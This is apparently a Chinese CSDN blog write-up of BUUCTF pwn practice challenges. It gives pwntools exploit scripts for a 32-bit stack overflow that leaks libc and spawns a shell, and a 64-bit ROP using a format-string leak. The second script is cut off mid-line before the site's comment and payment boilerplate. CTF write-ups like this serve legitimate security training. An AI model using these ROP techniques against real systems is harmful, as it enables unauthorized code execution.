BUUCTF pwn水题大赏(三)

本文详细介绍了多个CTF比赛中的漏洞利用技巧,包括32位和64位栈溢出、格式化字符串漏洞、整数溢出、栈迁移等,通过exploit分享了如何泄露信息、修改内存布局以达成目标。
摘要由CSDN通过智能技术生成

铁人三项(第五赛区)_2018_rop

32位栈溢出,利用 write 泄露 libc
exp:

from pwn import*
context.log_level='DEBUG'
p=remote('node3.buuoj.cn',28788)
#p=process('./2018_rop')
libc=ELF('./libc-2.27.so')
elf=ELF('./2018_rop')
write_plt=elf.plt['write']
write_got=elf.got['write']
main_addr=elf.sym['main']
payload1='a'*0x88+'a'*4+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)
p.sendline(payload1)
write_addr=u32(p.recv(4))
print hex(write_addr)
libc_base=write_addr-libc.sym['write']
sys=libc_base+libc.sym['system']
binsh=libc_base+libc.search('/bin/sh\x00').next()
print hex(libc_base)

payload2='a'*0x88+'a'*4+p32(sys)+p32(main_addr)+p32(binsh)
p.sendline(payload2)
#gdb.attach(p)
p.interactive()

bjdctf_2020_babyrop

64位栈溢出,利用 puts 泄露 libc
exp:

from pwn import*
from LibcSearcher import*
context.log_level = 'debug'
p=process('./bjdctf_2020_babyrop2')
#p=remote('node3.buuoj.cn',27713)
ret=0x00000000004005f9
pop_rdi=0x0000000000400993
elf=ELF('./bjdctf_2020_babyrop2')

puts_plt=elf.plt["puts"]
puts_got=elf.got["puts"]
vuln_addr=elf.symbols['vuln']

p.sendline('%7$p')
p.recvuntil('0x')
a=int(p.recv(16),16)
print hex(a)

payload1='a'*0x18+p64(a)+'a'*8+p64(ret)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(vuln_addr)
p.sendlineafter('story!'
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值